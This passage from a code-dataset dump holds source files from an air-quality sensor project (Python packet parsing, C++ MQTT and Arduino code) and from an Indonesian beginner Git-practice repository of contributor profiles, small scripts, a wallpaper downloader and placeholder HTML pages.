{}\n self.on_new_data = None\n self.on_sensor_data = None\n\n def __new_sensor(self, name):\n print(\"New sensor discovered\")\n self.sensors[name] = Sensor(name)\n self.sensors[name].on_sensor_data = self.on_sensor_data\n\n def __parse_raw_data(self, raw_data):\n data = raw_data.strip()\n dataset = {}\n data = data.split(',')\n for element in data:\n (key, value) = element.split('=')\n if key not in self.sensors:\n self.__new_sensor(key)\n self.sensors[key].read_new_data(value)\n dataset[key] = self.sensors[key].data\n dataset['timestamp'] = time.time()\n if self.on_new_data:\n self.on_new_data(dataset)\n\n def __split_checksum(self, data):\n chk_index = data.find(b',chk=')\n if chk_index < 0:\n return None, None\n checksum = data[chk_index + 5:].decode()\n dataset = data[:chk_index].decode()\n return dataset, checksum\n\n def __verify_checksum(self, data, checksum):\n try:\n checksum = int(checksum)\n except ValueError:\n return False\n val_sum = 0\n for i in range(len(data)):\n val_sum += (ord(data[i]) * (i+1))\n if (val_sum & 0xFF) != checksum:\n print(\"Fail -> Data: {}, Chk: {}, Computed sum: {}\".format(data, checksum, val_sum))\n return (val_sum & 0xFF) == checksum\n\n def receive_raw_data(self, data):\n self.raw_data += data\n self.raw_data = self.raw_data.strip(b'\\n')\n index = self.raw_data.find(b'\\r')\n if index >= 0:\n dataset, checksum = self.__split_checksum(self.raw_data[:index])\n if self.__verify_checksum(dataset, checksum):\n self.__parse_raw_data(dataset)\n self.raw_data = self.raw_data[index + 1:]\n" }, { "alpha_fraction": 0.4987277388572693, "alphanum_fraction": 0.5076335668563843, "avg_line_length": 25.200000762939453, "blob_id": "1ce4e6f05c1a79e8c8676d3a069763579007aa11", "content_id": "54b595c5e791436fcc2ab24b5a11af0d3cf68e70", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1572, "license_type": "no_license", "max_line_length": 105, "num_lines": 60, "path": "/air-pi/connector/lib/parse/air.py", "repo_name": "harshbhanushali05/air-quality", "src_encoding": "UTF-8", "text": "import time\nimport logging\n\n\ndef str2digit(value):\n try:\n return int(value)\n except ValueError:\n try:\n return float(value)\n except ValueError:\n return None\n\n\nclass AirParse:\n type = \"env\"\n cnt = 0\n\n def parse_packet(self, packet):\n self.cnt += 1\n #if not self.__verify_checksum(packet):\n # return\n if self.cnt < 10:\n return\n self.cnt = 0\n\n yield (\"%s-raw\" % self.type, packet)\n try:\n for entry in packet.split(','):\n name, value = entry.split('=')\n value = str2digit(value)\n if value:\n yield (\"%s/%s\" % (self.type, name), value)\n except ValueError:\n logging.info(\"Invalid data in packet: %s\" % packet)\n return\n\n\n def __verify_checksum(self, packet):\n data, checksum = self.__split_checksum(packet)\n try:\n checksum = int(checksum)\n except ValueError:\n return False\n\n val_sum = 0\n for i in range(len(data)):\n val_sum += (ord(data[i]) * (i+1))\n if (val_sum & 0xFF) != checksum:\n logging.info(\"Checksum invalid Data: %s Chk: %s Calc: %s\" % (data, checksum, val_sum & 0xFF))\n return (val_sum & 0xFF) == checksum\n\n\n def __split_checksum(self, packet):\n chk_index = packet.find(\"chk=\")\n if chk_index < 0:\n return None, None\n checksum = packet[chk_index + 4:]\n data = packet[:chk_index]\n return data, checksum\n" }, { "alpha_fraction": 0.6336206793785095, "alphanum_fraction": 0.681034505367279, "avg_line_length": 15.571428298950195, "blob_id": "5e9ae1417bcf63aca2cbbd7c7ae0ff01691a19a9", "content_id": "f8135e029897125be63efd79a93b38be00e4ec8c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 464, "license_type": "no_license", "max_line_length": 37, "num_lines": 28, "path": "/air-sense/SenAnalog.cpp", "repo_name": "harshbhanushali05/air-quality", "src_encoding": "UTF-8", "text": "#include \"SenAnalog.hpp\"\n\nint SenAnalog::init() {\n#ifdef TEENSYDUINO\n analogReadAveraging(32);\n#endif\n\n#ifdef APIN_LIGHT\n pinMode(APIN_LIGHT, INPUT);\n setId(IDSenALight);\n#endif\n\n#ifdef APIN_MQ135\n pinMode(APIN_MQ135, INPUT);\n setId(IDSenALight | IDSenAMQ135);\n#endif\n return 0;\n}\n\nint SenAnalog::read() {\n#ifdef APIN_LIGHT\n _light = analogRead(APIN_LIGHT);\n#endif\n#ifdef APIN_MQ135\n _mq135 = analogRead(APIN_MQ135);\n#endif\n return 0;\n}\n" }, { "alpha_fraction": 0.492201030254364, "alphanum_fraction": 0.5129982829093933, "avg_line_length": 19.60714340209961, "blob_id": "8bfff25884616e363af5e592ada1f8604c2c4502", "content_id": "5bda737675197bc419b2a42d2392e15c79b4d1e6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 577, "license_type": "no_license", "max_line_length": 66, "num_lines": 28, "path": "/air-pi/legacy/ser2mqtt/main.cpp", "repo_name": "harshbhanushali05/air-quality", "src_encoding": "UTF-8", "text": "#include <cstdio>\n#include <cstring>\n#include <unistd.h>\n\n#include \"Mqtt.hpp\"\n#include \"Sensor.hpp\"\n\nconst char* topic = \"sensor/air-quality\";\n\nint main() {\n Mqtt mqtt(\"rpi\", \"localhost\");\n Sensor sensor(\"/dev/serial0\");\n char buf[256];\n int cnt = 0;\n\n while (true) {\n // Publish every 100th measurement\n if (sensor.get_json(buf, sizeof(buf)) && !(cnt++ % 100)) {\n printf(\"Pub: %s\\n\", buf);\n mqtt.pub(topic, buf);\n\n if (mqtt.loop()) {\n mqtt.reconnect();\n }\n }\n }\n return 0;\n}\n" } ]
34
lihangpepe/PlayPython
https://github.com/lihangpepe/PlayPython
006336a32b2f783fd5ae2c12a4224bb5b28fe676
5b76e96129fbf5dcae63a947ed6e2d1f0e2ab0e4
c5165b75b97e29bee1f7369dd5451747316ff0a7
refs/heads/master
2020-06-27T07:04:08.998563
2016-11-22T04:46:30
2016-11-22T04:46:30
74,423,906
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6216216087341309, "alphanum_fraction": 0.6486486196517944, "avg_line_length": 11.333333015441895, "blob_id": "44a5dfca964476a459325e62b3938ddad522837a", "content_id": "435e0e1556e80e845e75a15221a4aca7bcc2f923", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 37, "license_type": "no_license", "max_line_length": 20, "num_lines": 3, "path": "/helloword.py", "repo_name": "lihangpepe/PlayPython", "src_encoding": "UTF-8", "text": "# coding:utf-8\n\nprint(\"Hello Word!\")\n" }, { "alpha_fraction": 0.658823549747467, "alphanum_fraction": 0.6941176652908325, "avg_line_length": 8.333333015441895, "blob_id": "6b7b026537562a6833cfc8a61c285b1c3066cf21", "content_id": "ed7925a2cb376e478bc6c8f6525e2e8280b4b092", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 153, "license_type": "no_license", "max_line_length": 23, "num_lines": 9, "path": "/README.md", "repo_name": "lihangpepe/PlayPython", "src_encoding": "UTF-8", "text": "# PlayPython\n\n##玩以为学\n\n###概述\n\n- 1 主要是简单的单独python可执行文件\n- 2 日常中积累的\n- 3 常练的python关键基础方法\n\n" } ]
2
CatonNip/testing
https://github.com/CatonNip/testing
2eec6b233abd3120ebff540662404f31d271edfc
f1718eba3529a47d0b7c97d45181016268caa658
f6698c4c7040a68bd3489317446bb8c2e8450cde
refs/heads/master
2020-12-14T01:12:27.443018
2016-04-19T03:58:43
2016-04-19T03:58:43
56,563,092
0
0
null
2016-04-19T03:53:37
2016-04-17T20:58:24
2016-04-17T20:58:35
null
[ { "alpha_fraction": 0.6666666865348816, "alphanum_fraction": 0.6666666865348816, "avg_line_length": 12, "blob_id": "b2482c09409dcbe8d015ce539f0e269fd049336c", "content_id": "367c897ec4035bf9cb029c8588084f93dac7d5c3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 27, "license_type": "no_license", "max_line_length": 12, "num_lines": 2, "path": "/test.py", "repo_name": "CatonNip/testing", "src_encoding": "UTF-8", "text": "print \"Vivi\"\nprint \"Jaye\"\n\n" } ]
1
petanikode/belajar-git
https://github.com/petanikode/belajar-git
880247f6ec227ed3a38417ad5fdc279c3de1aafb
e783054196f49a6b9a3305d5f823d7e647752206
34ae6760accd09eaee3af3fead535f90dc58dc74
refs/heads/master
2023-08-17T19:16:48.587971
2023-07-23T05:17:28
2023-07-23T05:17:28
105,293,723
212
782
null
2017-09-29T16:24:10
2023-09-09T02:14:01
2023-09-10T13:38:56
JavaScript
[ { "alpha_fraction": 0.6018518805503845, "alphanum_fraction": 0.6018518805503845, "avg_line_length": 11, "blob_id": "e7b34b35acbf85beca81659ae7cad753947ab3fe", "content_id": "542141d354e09d966fa174bb40a7eb450b564181", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Go", "length_bytes": 108, "license_type": "no_license", "max_line_length": 52, "num_lines": 9, "path": "/kontributor/abror.go", "repo_name": "petanikode/belajar-git", "src_encoding": "UTF-8", "text": "package main\n\nimport \"fmt\"\n\nfunc main(){\n for {\n fmt.Println(\"visit https://abror.net by Muhammad Muhlas\")\n }\n}\n" }, { "alpha_fraction": 0.7111111283302307, "alphanum_fraction": 0.7111111283302307, "avg_line_length": 44.5, "blob_id": "4f3e25af5c22153dba96a5bdc0d703662a3aed54", "content_id": "e831d1e98fe4a2cf7b7aa051cee594fa8e242944", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 90, "license_type": "no_license", "max_line_length": 60, "num_lines": 2, "path": "/kontributor/yoniwidhi.js", "repo_name": "petanikode/belajar-git", "src_encoding": "UTF-8", "text": "console.log('Nama : Yoni Widhi C');\nconsole.log('GitHub Account : https://github.com/NichiNect')" }, { "alpha_fraction": 0.5700934529304504, "alphanum_fraction": 0.5700934529304504, "avg_line_length": 8.190476417541504, "blob_id": "f67bd2682f049d21ec0c8598f0c969f13b87bd4e", "content_id": "5c042f923fa49e39f81835f6723bfdb10e0de0dd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 214, "license_type": "no_license", "max_line_length": 47, "num_lines": 21, "path": "/kontributor/FebrianSputra.md", "repo_name": "petanikode/belajar-git", "src_encoding": "UTF-8", "text": "# FebrianS. Putra\r\n\r\n### Provisi & Kota\r\n\r\nSumut, Medan\r\n\r\n### Git\r\n\r\n[Click Here](https://github.com/FebrianS-putra)\r\n\r\n### Hobi\r\n\r\n- Reading\r\n- Ngoding\r\n- Game\r\n\r\n### Bahasa Pemograman\r\n\r\n- Javascript.\r\n- Phyton\r\n- Ruby\r\n" }, { "alpha_fraction": 0.6079733967781067, "alphanum_fraction": 0.644518256187439, "avg_line_length": 10.576923370361328, "blob_id": "4afd17682ba253e13277c40217b1b2afe4d4040d", "content_id": "2eb4154312c832aa3f023f79fad9116841189304", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 301, "license_type": "no_license", "max_line_length": 43, "num_lines": 26, "path": "/kontributor/Daemon19.md", "repo_name": "petanikode/belajar-git", "src_encoding": "UTF-8", "text": "# Daemon19\n\n### Provinsi & Kota\n\nBali, Gianyar\n\n### Sekolah / Akademik\n\nSMP Negeri 1 Gianyar\n\n### Hobi\n\n- Panjat tebing\n- Pen spinning (ga jago)\n- Programming\n\n### Bahasa Pemrograman\n\n1. Python\n1. C\n1. C++\n1. JavaScript (Baru belajar)\n\n### Home Page\n\n- [Daemon19](https://daemon19.github.io/)\n" }, { "alpha_fraction": 0.6833977103233337, "alphanum_fraction": 0.6924067139625549, "avg_line_length": 22.515151977539062, "blob_id": "2dae7fe63baee5ea01df68863f18f18f695b3ea9", "content_id": "6ff72c1fc0c88f362105e8a4eee889b0d96d5777", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "HTML", "length_bytes": 777, "license_type": "no_license", "max_line_length": 226, "num_lines": 33, "path": "/html/test.html", "repo_name": "petanikode/belajar-git", "src_encoding": "UTF-8", "text": "<!DOCTYPE HTML>\n<html>\n<head>\n<title>Situs web pertama </title>\n<link rel=\"stylesheet\" type=\"text/css\" href=\"CSS/belajar_position.css\">\n</head>\n<body>\n<h1 class=\"judul\">Kata Pengantar</h1>\n<div class =\"tul3\">\n\t<p>Ini pake border outset</p>\n</div>\n<div class =\"tul1\">\n\t<p>Ini menggunakan border ridge</p>\n</div>\n\n<div class =\"box\">\n\t<p>Situs web pertama adalah sebagai implementasi dari apa yang telah saya pelajari sebelumnya. <i>Semoga saya dapat menguasai dengan baik mengenai html</i>. Setelah saya memahami html, saya berencana untuk belajar <b>CSS</b>.\n\t<br>\n\t\n</div>\n<div class=\"kotak1\">\n\t<p>Haloooooo,,,,, HHHJSBWDGIIDWBDWHJVD</p>\n\t<br>\n</div>\n<div class=\"kotak2\">\n pppppppp hhopp ppppppp pppppp\n</div>\n<div class=\"kotak3\">\n\tabcdefg hijklmn\n</div>\n\n</body>\n</html>\n\n" }, { "alpha_fraction": 0.6836734414100647, "alphanum_fraction": 0.6836734414100647, "avg_line_length": 18.600000381469727, "blob_id": "8e7353d183cd4763d39eb4529ea5671744b2b0b3", "content_id": "7925e3201df6b5aca5ebb0820e9c5a0497df9335", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 98, "license_type": "no_license", "max_line_length": 33, "num_lines": 5, "path": "/kontributor/nandasonadz.md", "repo_name": "petanikode/belajar-git", "src_encoding": "UTF-8", "text": "## Pull Request ku\nBelajar menulis dokumen markdown.\n- **bold**\n- _italic_\n- <ins>underline</ins>\n" }, { "alpha_fraction": 0.5943601131439209, "alphanum_fraction": 0.6030368804931641, "avg_line_length": 29.66666603088379, "blob_id": "f5165ecabf31393ed8887026f46a6356bd13a736", "content_id": "224d919583042d654fbc4fc7fcac01266174339a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 461, "license_type": "no_license", "max_line_length": 78, "num_lines": 15, "path": "/node/index.js", "repo_name": "petanikode/belajar-git", "src_encoding": "UTF-8", "text": "//menampilkan nama kontributor di file .txt\nconst fs=require('fs')\nconst color=require('colors')\n\nfs.readdir('../kontributor', (err, files) => {\n files.forEach(file => {\n \tif(file.includes('.txt')){\n \tlet name=fs.readFileSync('../kontributor/'+file,'utf8').split(/\\n/)[0]\n \tif(name.toLowerCase().includes('nama')){\n \t\tconsole.log(fs.readFileSync('../kontributor/'+file,'utf8').split(/\\n/)[0])\n \t\tconsole.log(\"==============\".rainbow)\n \t}\n \t}\n });\n});\n\n" }, { "alpha_fraction": 0.637499988079071, "alphanum_fraction": 0.675000011920929, "avg_line_length": 11.972972869873047, "blob_id": "d8375dd270fd312687bc4a7fd24ef85c8bf7d277", "content_id": "a912b679354def1ac9486ea25dadaa50d78641ef", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 480, "license_type": "no_license", "max_line_length": 110, "num_lines": 37, "path": "/kontributor/mwahyusp.md", "repo_name": "petanikode/belajar-git", "src_encoding": "UTF-8", "text": "# Mohammad Wahyu Sanusi Putra\n\n<img src=\"https://avatars3.githubusercontent.com/u/41946040?s=60&v=4\" width=\"200\" height=\"200\" align=\"center\">\n\n### Provisi & Kota\n\nDKI Jakarta, Jakarta Selatan\n\n### Sekolah / Akademik\n\nSistem Infomasi\n\n### Hobi\n\n- Membaca Buku\n- Belajar Pemrograman\n\n### Bahasa Pemograman\n\n- Javascript.\n- Kotlin.\n\n### Framework/Library\n\n - React.js\n - jQuery\n - Bootstrap\n\n\n### Project\n\n- [Clothing Line](https://thehagia.com)\n\n\n### Profile Link\n\n[Mohammad Wahyu Sanusi Putra](https://github.com/mwahyusp)\n" }, { "alpha_fraction": 0.7960000038146973, "alphanum_fraction": 0.7960000038146973, "avg_line_length": 40.66666793823242, "blob_id": "a0b1320bfc827ba472e32bfc7c144c6b1f3bb65f", "content_id": "4dc2971ac6e9bcd006ed0d701fada048876f6837", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 500, "license_type": "no_license", "max_line_length": 68, "num_lines": 12, "path": "/CONTRIBUTING.md", "repo_name": "petanikode/belajar-git", "src_encoding": "UTF-8", "text": "Proyek ini adalah proyek Dummy untuk [belajar Git\ndan Github workflow](https://www.petanikode.com/github-workflow/).\n\nKamu bebas merubah apa saja di sini, namun kamu harus\nperhatikan aturan berikut.\n\n## Aturan Berkontribusi di Proyek ini\n\n- Dilarang menggunakan kata-kata kotor, rasis, dan lain-lain.\n- Silahkan tambahkan file di dalam direktori `kontributor` dengan\nnama file menggunakan username Github, contoh `petanikode.txt`.\n- Dilarang merubah file di direktori `kontributor` milik orang lain.\n" }, { "alpha_fraction": 0.6423611044883728, "alphanum_fraction": 0.6458333134651184, "avg_line_length": 9.629630088806152, "blob_id": "4fb403d9d31839defaa1c4e5d8e07900d1b6a354", "content_id": "3a01b7c16eb3a4e7f2ebeaeb69237d8689d8ce43", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 288, "license_type": "no_license", "max_line_length": 44, "num_lines": 27, "path": "/kontributor/Faiz_Nurullah.md", "repo_name": "petanikode/belajar-git", "src_encoding": "UTF-8", "text": "# Faiz Nurullah\n\n### Provisi & Kota\n\nCirebon, Jawa barat\n\n### Sekolah / Akademik\n\nSMA Negeri 1 Babakan\n\n### Hobi\n\n- Ngoding\n- Membaca\n\n### Bahasa Pemograman\n\n- PHP\n- Dart\n\n### Project\n\n- [Faiz-Nurullah](http://faiznurullah.xyz/) \n\n### Profile Link\n\n- [Grakody](https://github.com/faiznurullah)\n\n" }, { "alpha_fraction": 0.765072762966156, "alphanum_fraction": 0.7765072584152222, "avg_line_length": 47.150001525878906, "blob_id": "55404d7a67d52cc7c8ff6392e30dd949af87b97f", "content_id": "b1c69cfac4a5f32bdb2efe0820b26c11f5dde454", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 962, "license_type": "no_license", "max_line_length": 138, "num_lines": 20, "path": "/kontributor/WennyCS.md", "repo_name": "petanikode/belajar-git", "src_encoding": "UTF-8", "text": "Configurasi Git dan Github\n\nConfigurasi Git di terminal\n- ketik git config --global user.name \"XYZ\"\n- ketik git config --global user.email \"[email protected]\"\n\nConfigurasi git dan akun github di terminal\n1. ketik ssh-keygen, enter sampai muncul lokasi identification dan randomart image\n2. buka lokasi identification di explorer komputer (mis: C:\\Users\\Ngaco/.ssh/id_rsa.pub) dan buka id_rsa.pub (yang ada logo di depan file)\n3. salin isi dari id_rsa.pub dan buka akun Github>Settings>SSH and GPG keys>New SSH key kemudian tempel di kotak Key\n\nConfigurasi repositori Github di terminal\n1. buat folder di lokal\n2. buat beberapa file yang nantinya akan disimpan di Github\n3. ketik git init\n4. ketik git add nama_file.extensi\n5. ketik git commit -m \"keterangan commit: commit pertama\"\n6. ketik git branch -M <nama_git_branch_biasanya_main>\n7. ketik git remote add <nama_git_repositori_biasanya_origin> <alamat SSH>\n8. ketik git push -u <nama_git_repositori> <nama_git_branch>" }, { "alpha_fraction": 0.7080000042915344, "alphanum_fraction": 0.7239999771118164, "avg_line_length": 61.5, "blob_id": "9695331c6fa27257d680dbc9c43c4625e800a328", "content_id": "5e62f5cbf622e98f04b55a87bb1af3cac7dfce74", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 250, "license_type": "no_license", "max_line_length": 78, "num_lines": 4, "path": "/kontributor/heeendri.md", "repo_name": "petanikode/belajar-git", "src_encoding": "UTF-8", "text": "#### Hello, newbie here just want to participate in Hacktoberfest 2021\n#### My name is Hendrik, [here](https://github.com/heeendri) is my Github page\n#### And [here](https://heeendri.github.io) is my Personal Portfolio page\n#### Thank you PetaniKode\n" }, { "alpha_fraction": 0.5805243253707886, "alphanum_fraction": 0.5955055952072144, "avg_line_length": 29.485713958740234, "blob_id": "d6a16ec164a898b075dd4c4c884eb2a0f20e001d", "content_id": "27613b581297469d7470ccd459e1a8d46193150a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1068, "license_type": "no_license", "max_line_length": 78, "num_lines": 35, "path": "/docs/src/index.js", "repo_name": "petanikode/belajar-git", "src_encoding": "UTF-8", "text": "\nconst app = document.getElementById(\"app\");\n\nfunction showLoading() {\n const template = document.createElement(\"template\");\n template.innerHTML = `<div>Loading...</div>`;\n app.innerHTML = template.innerHTML;\n}\n\nfunction showContributor() {\n showLoading();\n const template = document.createElement(\"template\");\n fetch(\"https://api.github.com/repos/petanikode/belajar-git/contributors\")\n .then((response) => response.json())\n .then((data) => {\n data.forEach((contributor) => {\n template.innerHTML += `<div class=\"contributor\">\n <a href=\"${contributor.html_url}\" target=\"_blank\">\n <img src=\"${contributor.avatar_url}\" width=\"100px\" height=\"100px\" />\n </a>\n <br>\n @${contributor.login}\n \n </div>`;\n });\n\n app.innerHTML = template.innerHTML;\n });\n}\n\nconst setBg = () => {\n const randomColor = Math.floor(Math.random()*16777215).toString(16);\n document.body.style.backgroundColor = \"#\" + randomColor;\n}\nsetBg();\nshowContributor();\n" }, { "alpha_fraction": 0.737500011920929, "alphanum_fraction": 0.737500011920929, "avg_line_length": 23.100000381469727, "blob_id": "47360dff640d2733e6ed4576f2630d766f15ee5f", "content_id": "8b2b0a1e94bdc439d33d409cd8f2842ad7380404", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 240, "license_type": "no_license", "max_line_length": 91, "num_lines": 10, "path": "/kontributor/iqbalsyamhad.md", "repo_name": "petanikode/belajar-git", "src_encoding": "UTF-8", "text": "# Iqbaluddin Syam Had\n\n```\nReact Native and Native Android Developer\n```\n\n## Portfolio\n\n* [Portfolio](https://iqbalsyamhad.github.io/) - Overview my latest works\n* [Repositories](https://github.com/iqbalsyamhad?tab=repositories) - My github repositories" }, { "alpha_fraction": 0.6230366230010986, "alphanum_fraction": 0.6230366230010986, "avg_line_length": 31, "blob_id": "0e1051014633cd98776955245b2a19c72e413856", "content_id": "68ccfed4f42f37acb71c4d8c86ef3c0f06b644a9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Kotlin", "length_bytes": 194, "license_type": "no_license", "max_line_length": 58, "num_lines": 6, "path": "/kontributor/tomorisakura.kt", "repo_name": "petanikode/belajar-git", "src_encoding": "UTF-8", "text": "fun main(args : Array<String>) {\n println(\"Belajar git bersama Petani Kode 🌹\")\n println(\"Imagination is more impotant than knowladge\")\n println(\"-----------\")\n println(\"Albert Einstein\")\n}" }, { "alpha_fraction": 0.6148648858070374, "alphanum_fraction": 0.6436936855316162, "avg_line_length": 36, "blob_id": "1980281d093c01121659bd7e9da9ecdd49b9b19f", "content_id": "6edcc958e5032f140dd21ffcbe83eefe8c301aba", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2220, "license_type": "no_license", "max_line_length": 180, "num_lines": 60, "path": "/animeimg.py", "repo_name": "petanikode/belajar-git", "src_encoding": "UTF-8", "text": "import requests,wget,bs4,os,sys\nurl = \"https://wallpaperaccess.com\"\ncook = {\"cookie\":\"PHPSESSID=1b1ee73ddd17e8d3db8614056e495efa\"}\nua = {\"User-Agent\":\"Mozilla/5.0 (Linux; Android 9; Redmi 6A Build/PPR1.180610.011; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/80.0.3987.99 Mobile Safari/537.36\"}\nlinkimg = []\ndef imgdown(linkimgs,linka):\n jml = input(\"> Jumlah gambar (max :\"+str(len(linkimgs))+\") : \")\n if jml > 0 & jml <= len(linkimgs):\n if not os.path.isdir(\"/sdcard/AnimeImageDownloader/\"+linka):\n os.mkdir(\"/sdcard/AnimeImageDownloader/\"+linka);\n for i in range(jml):\n wget.download(url+linkimgs[i],\"/sdcard/AnimeImageDownloader/\"+linka+\"/\"+str(i)+\".jpg\",bar=bar)\n print \"\\nDone\"\n else:\n print \"Failed!\"\n imgdown(linkimg)\ndef getimg(links):\n urls = url+links\n print \"!Loading...\"\n r = requests.get(urls,headers=ua,cookies=cook)\n bb = bs4.BeautifulSoup(r.text,\"html.parser\")\n for x in bb.find_all(\"a\",href=True):\n if \"/download\" in x[\"href\"]:\n if x[\"href\"] not in linkimg:\n linkimg.append(x[\"href\"])\n imgdown(linkimg,links.replace(\"/\",\"\"))\ndef getgambar(html):\n bb = bs4.BeautifulSoup(html,\"html.parser\")\n title = []\n link = []\n jumlah = []\n for x in bb.find_all(\"a\",{\"class\":\"ui fluid image\"}):\n title.append(x[\"title\"])\n link.append(x[\"href\"])\n jumlah.append(x.find(\"span\",{\"class\":\"color_gray\"}).text.replace(\"\\t\",\"\").replace(\" \",\"\").replace(\"\\n\",\"\"))\n print \"\\n\"+str(len(title))+\" Pencarian ditemukan\"+\"\\n\"\n for i in range(len(title)):\n print str(i+1)+\". \"+title[i]+\" |\"+jumlah[i]+\" gambar\"\n pil = input(\"> Pilih no : \")\n getimg(link[pil-1])\ndef main():\n print \"\"\"\n--------------------------\n| Anime Image Downloader |\n--------------------------\n \"\"\"\n if not os.path.isdir(\"/sdcard/AnimeImageDownloader/\"):\n os.mkdir(\"/sdcard/AnimeImageDownloader/\")\n name = raw_input(\"> Search : \")\n r = requests.get(url+\"/search?q=\"+name,headers=ua,cookies=cook)\n if \"Sorry, no wallpapers found\" in r.text:\n print \"\\nPencarian tidak ditemukan\\n\"\n main()\n else:\n getgambar(r.text)\ndef bar(current, total, width=80):\n progress_message = \"Downloading: %d%% [%d / %d] bytes\" % (current / total * 100, current, total)\n sys.stdout.write(\"\\r\" + progress_message)\n sys.stdout.flush()\nmain()\n" }, { "alpha_fraction": 0.7628052234649658, "alphanum_fraction": 0.7729024887084961, "avg_line_length": 47.20354080200195, "blob_id": "1f77c032fd9baf20119d9e664cc67ee4f962714e", "content_id": "1724a455df6499655f5f2c59d6ee9a77828b050d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "HTML", "length_bytes": 5452, "license_type": "no_license", "max_line_length": 700, "num_lines": 113, "path": "/websitesederhana.html", "repo_name": "petanikode/belajar-git", "src_encoding": "UTF-8", "text": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n\t<link rel=\"stylesheet\" href=\"style/style.css\">\n\t<meta charset=\"UTF-8\" name=\"viewport\" content=\"width=device-width, initial-scale=1\">\n\t<title>website basic</title>\n</head>\n<body>\n\n\n\t<header>\n\t\t<div class=\"jumbotron\">\n\n\t<h1>Lombok</h1>\n\n\t<p>\n\t\tlampung adalah Lorem ipsum dolor sit amet, consectetur adipisicing elit. \n\t</p>\n\t</div>\n<nav class=\"link\">\n\t<ul>\n\t\t<li><a href=\"#\">sejarah</a></li>\n\t\t<li><a href=\"#\">geografis</a></li>\n\t\t<li><a href=\"#\">wisata</a></li>\n\t</ul>\n</nav>\t\n\t</header>\n\n\t<main>\n\t\t<div>\n\n <article>\n\t<h2 id=\"sejarah\">sejarah</h2>\n<img src=\"image/kintamani.jpg\" alt=\"sejarah\" width=\"720\" height=\"480\">\n<p>\n\tLorem ipsum dolor sit amet, consectetur adipisicing elit. Optio delectus ipsam modi ipsum ea reprehenderit accusamus quo! Praesentium molestias, odit, nulla, cum, recusandae magnam quae molestiae qui magni omnis voluptas.Lorem ipsum dolor sit amet, consectetur adipisicing elit. Mollitia ex dicta tenetur quaerat, doloribus, aspernatur? Quod est aut possimus minus illum, officia fugit accusamus. Recusandae tempore deserunt saepe, omnis cum!Lorem ipsum dolor sit amet, consectetur adipisicing elit. Nesciunt dolore est expedita asperiores, autem officiis\n</p>\n</article>\n</div>\n\n<div>\n<article>\n<h2 id=\"geografis\">geografis</h2>\n<img src=\"image/rawa.jpg\" alt=\"geografis\">\n<p>\n\tLorem ipsum dolor sit amet, consectetur adipisicing elit. At repellat enim eius dolore, non minima quidem alias quam vero aut, sapiente nostrum possimus totam asperiores facilis quasi voluptatibus minus et.Lorem ipsum dolor sit amet, consectetur adipisicing elit. Illo blanditiis nihil voluptates labore debitis tenetur quo in incidunt qui reprehenderit dolor quos, molestiae alias laudantium, eligendi, nesciunt voluptate necessitatibus officiis.Lorem ipsum dolor sit amet, consectetur adipisicing elit. Rerum rem fugiat nobis ea consectetur assumenda dolorem nihil dolores libero voluptates vitae placeat eius, autem quae id voluptate natus soluta illum.\n</p>\n</article>\n</div>\n\n<div>\n<article>\n<h2 id=\"wisata\">wisata</h2>\n<img src=\"image/pantai.jpg\" alt=\"wisata\">\n<p>\n\tLorem ipsum dolor sit amet, consectetur adipisicing elit. Consequatur cumque officia eveniet, optio reprehenderit rerum, ea! Nam quod voluptas illum ab nesciunt minima blanditiis praesentium distinctio culpa, quibusdam et officiis.Lorem ipsum dolor sit amet, consectetur adipisicing elit. Facere cum voluptates ut, reprehenderit, vel mollitia. Voluptas architecto perferendis iure delectus autem, molestiae, ducimus, sunt maxime optio libero omnis inventore unde.Lorem ipsum dolor sit amet, consectetur adipisicing elit. Reprehenderit magnam, veritatis adipisci sequi provident inventore dolor ex impedit amet natus aspernatur praesentium voluptates obcaecati eligendi nulla facere maxime eius. Nam.\n</p>\n</article>\n</div>\n\n<div>\n<article>\n\t<section>\n<h3 id=\"pesantren\">pesantren</h3>\n<img src=\"image/pesantren.jpeg\" alt=\"pesantren\">\n<p>Lorem ipsum dolor sit amet, consectetur adipisicing elit. Officia vero odio dolorum maiores perspiciatis unde reiciendis quibusdam aperiam iusto, reprehenderit soluta quia illum rem magni vitae molestias. Minima, reiciendis, qui!Lorem ipsum dolor sit amet, consectetur adipisicing elit. Magnam sequi reiciendis maxime sit consequatur pariatur aliquid quibusdam accusamus ipsa accusantium inventore iusto enim, omnis beatae earum quia ab voluptas. Consequatur?Lorem ipsum dolor sit amet, consectetur adipisicing elit. Est fugit optio consequatur tempore, assumenda tenetur, libero ut nisi. Quia labore earum aut itaque veniam voluptatum nobis fugit molestiae iusto 